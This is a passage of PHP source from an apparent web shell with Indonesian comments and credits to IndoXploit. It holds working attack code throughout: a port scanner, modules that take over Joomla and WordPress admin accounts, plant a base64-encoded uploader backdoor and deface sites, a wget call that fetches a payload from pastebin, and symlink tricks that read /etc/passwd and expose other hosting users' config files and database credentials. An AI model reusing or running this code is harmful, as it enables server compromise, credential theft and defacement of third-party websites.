function sws_port_scan($ip)
{
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
if($connect)
{
echo " $ip : $o_port ??? <u style=\"color: #00ff00\">Open</u> <br /><br />";
flush();
}
}
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
echo '<br><br><center>';
echo '
<br />
<div class="sc"><form method="post"><table class="tabnet">
<tr><th colspan="5">Website Whois</th></tr>
<tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:#00ff00;background-color:#000000" class="inputz" value="site.com" />   <input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan !" /></td></tr>
</table></form></div>';
if(isset($_POST['scan']))
{
$site = @htmlentities($_POST['site']);
if (empty($site)){die('<br /><br /> Not add IP .. !');}
$ip_port = @gethostbyname($site);
echo "
<br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
<div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
<div class=\"ru\"> <br /><br /><pre>
";
echo "".sws_port_scan($ip_port)." </pre></div> ";
flush();
echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
<div class=\"ru\">
<pre>".sws_domain_info($site)."</pre></div>";
flush();
echo "
<div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_net_info($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_sup_dom($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_site_ser($site)."</pre> </div>
<div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
flush();
}
echo '</center>';
}
////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tools'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tools" method="post">
<center>
<!-- menu start -->
<center><div id="menu"><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&x=sql">Mysql</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dump">Database Dump</a>
<a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">Php Info</a>
<a href="?<?php echo "y=".$pwd; ?>&x=netsploit">Net Sploit</a>
<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mail">E-Mail</a>
<a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner">SQLI Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=port-sc">Port Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dos">Ddos</a>
<a href="?<?php echo "y=".$pwd; ?>&x=tool">Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=python">python</a>
<a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass">Bypass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi">CgiShell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi2012">CGI Telnet 2012</a>
<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jodexer">Joomla IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=vb">VB IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wp-reset">Wordpress ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jm-reset">Joomla ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=whmcs">WHMCS Decoder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=zone">Zone-H</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">Wordpress BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass-cf">Bypass CloudFlare</a>
<a href="?<?php echo "y=".$pwd; ?>&x=adfin">Admin Finder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hash">Password Hash</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hashid">Hash ID</a>
<a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=whois">Website Whois</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jss">Joomla Server Scanner</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cms_detect">Cms Detector</a>
<a href="?<?php echo "y=".$pwd; ?>&x=tutor">Tutorial & Ebook</a>
<a href="?<?php echo "y=".$pwd; ?>&x=about">About</a>
<a href="?<?php echo "y=".$pwd; ?>&x=logout">Log-Out</a>
</div></center>
<!-- menu end -->
</center>
<?php
}
////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jmnu'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jmnu" method="post">
<center>
<?php
error_reporting(0);
//Tu5b0l3d
//thx to: IndoXploit, Hacker-Newbie.org
if($_POST['submitt']){
$host = $_POST['host'];
$username = $_POST['username'];
$password = $_POST['password'];
$db = $_POST['db'];
$dbprefix = $_POST['dbprefix'];
$user_baru = $_POST['user_baru'];
$password_baru = $_POST['password_baru'];
$tanya = $_POST['tanya'];
$prefix = $dbprefix."users";
$pass = md5("$password_baru");
$upda = $db.".".$dbprefix;
mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");
$tampil=mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$r=mysql_fetch_array($tampil);
$id = $r[id];
mysql_query("UPDATE $prefix SET password='$pass',username='$user_baru' WHERE id='$id'");
function token($target){
$ch2 = curl_init ("$target");
curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch2, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
$data = curl_exec ($ch2);
preg_match('/<input type="hidden" name="(.*?)" value="1"/', $data, $token);
$token = $token[1];
return $token;
}
if ($tanya == "y"){
$target = $_POST['target'];
$path = "/administrator/index.php?option=com_templates&view=template&id=503&file=L2Vycm9yLnBocA%3D%3D";
$site = $target.$path;
$token1 = token($site);
$post = array(
"username" => "$user_baru",
"passwd" => "$password_baru",
"lang" => "en-GB",
"option" => "com_login",
"task" => "login",
"return" => "aW5kZXgucGhw",
"$token1" => "1",
);
$ch = curl_init ("$site");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$masuk = curl_exec ($ch);
$token2 = token($site);
$upload = base64_decode("Z3cgZ2FudGVuZw0KPD9waHANCiAgJGZpbGUgPSAkX0ZJTEVTWydmaWxlJ107DQogICRuZXdmaWxlPSJrLnBocCI7DQoJCWlmIChmaWxlX2V4aXN0cygiLi4vLi4vIi4kbmV3ZmlsZSkpIHVubGluaygiLi4uLi8vIi4kbmV3ZmlsZSk7DQogICAgCW1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgIi4uLy4uLyRuZXdmaWxlIik7DQo/Pg0K");
$post2 = array(
"jform[source]" => "$upload",
"task" => "template.save",
"$token2" => "1",
"jform[extension_id]"=> "503",
"jform[filename]" => "/error.php",
);
$ch3 = curl_init ("$site");
curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch3, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch3, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch3, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch3, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch3, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch3, CURLOPT_POST, 1);
curl_setopt ($ch3, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch3, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch3, CURLOPT_COOKIEFILE,'coker_log');
$masuk2 = curl_exec ($ch3);
if(preg_match("#successfully#is", $masuk2)){
echo "uploader udh ketanem...<br>";
echo "lanjut mepes...<br>";
$file_pepes = "hacked.php";
$ch4 =curl_init("$target/templates/beez3/error.php");
curl_setopt($ch4, CURLOPT_POST, true);
curl_setopt($ch4, CURLOPT_POSTFIELDS,
array('file'=>"@$file_pepes"));
curl_setopt($ch4, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch4, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch4, CURLOPT_SSL_VERIFYHOST, 0);
$postResult = curl_exec($ch4);
curl_close($ch4);
$ch5 =curl_init("$target/k.php");
curl_setopt($ch5, CURLOPT_POST, true);
curl_setopt($ch5, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch5, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch5, CURLOPT_SSL_VERIFYHOST, 0);
$postResult2 = curl_exec($ch5);
if(preg_match('#hacked#is', $postResult2)){
echo "<font color='green'>berhasil mepes...</font><br>";
echo "$target/k.php<br>";
}
else{
echo "<font color='red'>gagal mepes...</font><br>";
echo "coba aja manual: <br>";
echo "$target/administrator<br>";
echo "username: $user_baru<br>";
echo "password: $password_baru<br>";
}
}
else{
echo "failed<br>";
echo "data udh bener. beda template mungkin :(<br>";
echo "coba aja manual: <br>";
echo "$target/administrator<br>";
echo "username: $user_baru<br>";
echo "password: $password_baru<br>";
}
curl_close($ch3);
curl_close($ch);
}
elseif($tanya == "n"){
echo "Sukses<br>";
echo "username: $user_baru<br>";
echo "password: $password_baru<br>";
}
}
else{
echo '<html>
<head>
<title>Edit user in joomla</title>
</head>
<body>
<center>
<center
<br><br><h2>-=Auto Edit User Joomla And Deface=-</h2>
<table>
<tr><td><form method="post" action="?action"></td></tr>
<tr><td><input class ="inputz" type="text" name="host" placeholder="localhost"></td></tr>
<tr><td><input class ="inputz" type="text" name="username" placeholder="User DB"></td></tr>
<tr><td><input class ="inputz" type="text" name="password" placeholder="Password DB"></td></tr>
<tr><td><input class ="inputz" type="text" name="db" placeholder="Database"></td></tr>
<tr><td><input class ="inputz" type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
<tr><td><input class ="inputz" type="text" name="user_baru" placeholder="Username Baru"></td></tr>
<tr><td><input class ="inputz" type="text" name="password_baru" placeholder="Password Baru"></td></tr>
<tr><td></td></tr>
<tr><td></td></tr>
<tr><td> Auto Deface <input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n</td></tr>
<tr><td><input class ="inputz" type="text" name="target" placeholder="www.IndoXploit.org"></td></tr>
<tr><td><input class ="inputzbut" type="submit" value="Submit" name="submitt"></td></tr>
</table>
*nb: kalo milih y ... silahkan masukin nama sitenya, kalo ngk tau nama sitenya, pilih n
</center>
</body>';
}
?>
</center>
<?php
}
////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpnu'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wpnu" method="post">
<center>
<!-- menu start -->
<center><div id="menu"><br><br>
<?php
//Tu5b0l3d
//IndoXPloit, HNc
//http://indoxploit.blogspot.co.id/2015/10/auto-edit-user-and-deface-in-wordpress.html
if($_POST){
$host = $_POST['host'];
$username = $_POST['username'];
$password = $_POST['password'];
$db = $_POST['db'];
$dbprefix = $_POST['dbprefix'];
$user_baru = $_POST['user_baru'];
$password_baru = $_POST['password_baru'];
$prefix = $db.".".$dbprefix."users";
$sue = $db.".".$dbprefix."options";
$tanya = $_POST['tanya'];
$target = $_POST['target'];
$nick = $_POST['nick'];
$pass = md5("$password_baru");
mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");
$tampil=mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
$r=mysql_fetch_array($tampil);
$id = $r[ID];
$tampil2=mysql_query("SELECT * FROM $sue ORDER BY option_id ASC");
$r2=mysql_fetch_array($tampil2);
$target = $r2[option_value];
mysql_query("UPDATE $prefix SET user_pass='$pass',user_login='$user_baru' WHERE ID='$id'");
if($tanya=="y"){
function ambilKata($param, $kata1, $kata2){
if(strpos($param, $kata1) === FALSE) return FALSE;
if(strpos($param, $kata2) === FALSE) return FALSE;
$start = strpos($param, $kata1) + strlen($kata1);
$end = strpos($param, $kata2, $start);
$return = substr($param, $start, $end - $start);
return $return;
}
function anucurl($sites){
$ch1 = curl_init ("$sites");
curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
$data = curl_exec ($ch1);
return $data;
}
function lohgin($cek, $web, $userr, $pass){
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "Log In",
"redirect_to" => "$web/wp-admin/",
"testcookie" => "1",
);
$ch = curl_init ("$cek");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data6 = curl_exec ($ch);
return $data6;
}
$site= "$target/wp-login.php";
$site2= "$target/wp-admin/theme-install.php?upload";
$a = lohgin($site, $target, $user_baru, $password_baru);
$b = lohgin($site2, $target, $user_baru, $password_baru);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
echo "# token -> $anu2<br>";
system('wget http://pastebin.com/raw.php?i=mEQP6prW');
system('cp raw.php?i=mEQP6prW m.php');
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
"themezip" => "@m.php",
"install-theme-submit" => "Install Now",
);
$ch = curl_init ("$target/wp-admin/update.php?action=upload-theme");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data3 = curl_exec ($ch);
$namafile = "wew.php";
$fp2 = fopen($namafile,"w");
fputs($fp2,$nick);
$y = date("Y");
$m = date("m");
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/m.php");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS,
array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "coker_log");
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/k.php";
$bs = file_get_contents($as);
if(preg_match("#hacked#si",$bs)){
echo "# <font color='green'>berhasil mepes...</font><br>";
echo "# $target/k.php<br>";
}
else{
echo "# <font color='red'>gagal mepes...</font><br>";
echo "# coba aja manual: <br>";
echo "# $target/wp-login.php<br>";
echo "# username: $user_baru<br>";
echo "# password: $password_baru<br>";
}
}
elseif($tanya=="n"){
echo "# Sukses<br>";
echo "# username: $user_baru<br>";
echo "# password: $password_baru<br>";
}
}else{
echo '<html>
<head>
<title>Wordpress Created New User</title>
</head>
<body>
<center>
<center><div id="button"></div>
<h2>-=Wordpress Created New User And Deface=-</h2><br>
<table>
<tr><td><form method="post" action="?action"></td></tr>
<tr><td>Host <input class ="inputz" type="text" name="host" placeholder="localhost"></td></tr>
<tr><td>User DB <input class ="inputz" type="text" name="username" placeholder="User DB"></td></tr>
<tr><td>Password DB <input class ="inputz" type="text" name="password" placeholder="Password DB"></td></tr>
<tr><td>Name Database <input class ="inputz" type="text" name="db" placeholder="Database"></td></tr>
<tr><td>DB Prefix <input class ="inputz" type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
<tr><td>New Username <input class ="inputz" type="text" name="user_baru" placeholder="Username Baru"></td></tr>
<tr><td>New Password <input class ="inputz" type="text" name="password_baru" placeholder="Password Baru"></td></tr>
<tr><td> Auto Deface <input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n</td></tr>
<tr><td><input type="text" class ="inputz" name="nick" placeholder="Hacked By Tu5b0l3d"></td></tr>
<tr><td><input class ="inputzbut" type="submit" value="Ganti"></td></tr>
</table>
*nb: kalo milih y ... silahkan Ganti Form Hacked By Tu5b0l3d jadi Hacked by Nick_ente
</center>
</body>';
}
?>
</div></center>
<!-- menu end -->
</center>
<?php
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'symfil')) {@set_time_limit(0);@mkdir('sym',0777);error_reporting(0);
$htaccess = "Options all
DirectoryIndex gaza.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$op =@fopen ('sym/.htaccess','w');
fwrite($op ,$htaccess);
echo '<br><br><center><h2>-=Symlink File=-</h2></center><center><br>
<div class="mybox"><h2 class="k2ll33d2">Symlink</h2><br>
<form method="post"> File Path:<br>
<input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/>
<br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br>
<input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></div></center>';
$target = $_POST['file'];
$symfile = $_POST['symfile'];
$symlink = $_POST['symlink'];
if ($symlink) {@symlink("$target","sym/$symfile");
echo '<br><center><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a><br><br><br><br></center>';}}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//sym sec
elseif(isset($_GET['x']) && ($_GET['x'] == 'symsr')){
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("k2",0777);
@chdir("k2");
@exe("ln -s / root");
$file3 = 'Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "<br><br><center><h2>Symlink Server !</h2></center><br><br>
<table align=center border=1 style='width:60%;border-color:#333333;'>
<tr>
<td align=center><font size=3>S. No.</font></td>
<td align=center><font size=3>Domains</font></td>
<td align=center><font size=3>Users</font></td>
<td align=center><font size=3>Symlink</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=3>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='/k2/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("k2",0777);
@chdir("k2");
exe("ln -s / root");
$file3 = 'Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);
@fclose($fp3);
echo "<br><br><center><h2>-=Symlink Server=-</h2></center><br><br>
<table align=center border=1><tr>
<td align=center><font size=4>S. No.</font></td>
<td align=center><font size=4>Users</font></td>
<td align=center><font size=4>Symlink</font></td></tr>";
$dcount = 1;
$file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
while(!feof($file)){
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=3>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
$dcount++;}fclose($file);
echo "</table>";}else{if($os != "Windows"){@mkdir("k2",0777);@chdir("k2");@exe("ln -s / root");$file3 = 'Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "<br><br><center><h2>-=Symlink Server=-</h2></center><br><br><center>
<div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
<table align=center border=1><tr>
<td align=center><font size=4>ID</font></td>
<td align=center><font size=4>Users</font></td>
<td align=center><font size=4>Symlink</font></td></tr>";
$temp = "";$val1 = 0;$val2 = 1000;
for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
if ($uid)$temp .= join(':',$uid)."
";}
echo '<br/>';$temp = trim($temp);$file5 =
fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);$dcount = 1;$file =
fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file)){$s = fgets($file);$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=3>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
$dcount++;}
fclose($file);
echo "</table></div></center>";unlink("test.txt");
} else
echo "<center><font size=4>Cannot create Symlink</font></center>";
}
}
}
/* Goblok
start here */
// domain viewer by S1r_V1ru5 rec0de by Sinkaroid ft Kerupuk
elseif(isset($_GET['x']) && ($_GET['x'] == 'domainv')){ @ini_set('output_buffering',0);
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dv" method="post">
<center><h2>Domain Viewer by S1r_V1ru5 <br>rec0de by Sinkaroid ft Kerupuk<br>di colong by embuh cuk :v <br>notes: if blank(no domain) that mean not work use domain viewer, you can use symlink server</center><br><br>
<?php
function openBaseDir()
{
$openBaseDir = ini_get("open_basedir");
if (!$openBaseDir)
{
$openBaseDir = '<font color="green">OFF</font>';
}
else
{
$openBaseDir = '<font color="red">ON</font>';
}
return $openBaseDir;
}
echo '
<table width="95%" cellspacing="0" cellpadding="0" class="td1" >
<td height="100" align="left" class="td1">';
$pg = basename(__FILE__);
$safe_mode = @ini_get('safe_mode');
$dir = @getcwd();
////////////////////////////////////////////////////
// LET'S PLAY ~
##.htaccess
@mkdir('pee',0777);
@symlink("/","pee/root");
$htaccss = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
file_put_contents("pee/.htaccess",$htaccss);
$etc = file_get_contents("/etc/passwd");
$etcz = explode("
",$etc);
##Symlink to the ROOT :p
foreach($etcz as $etz){
$etcc = explode(":",$etz);
error_reporting(0);
$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"pee/".$etcc[0].'-PhpBB.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"pee/".$etcc[0].'-vBulletin.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"pee/".$etcc[0].'-IPB.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"pee/".$etcc[0].'-MyBB.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"pee/".$etcc[0].'-SMF.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"pee/".$etcc[0].'-Drupal.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"pee/".$etcc[0].'-e107.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"pee/".$etcc[0].'-Seditio.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"pee/".$etcc[0].'-osCommerce.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
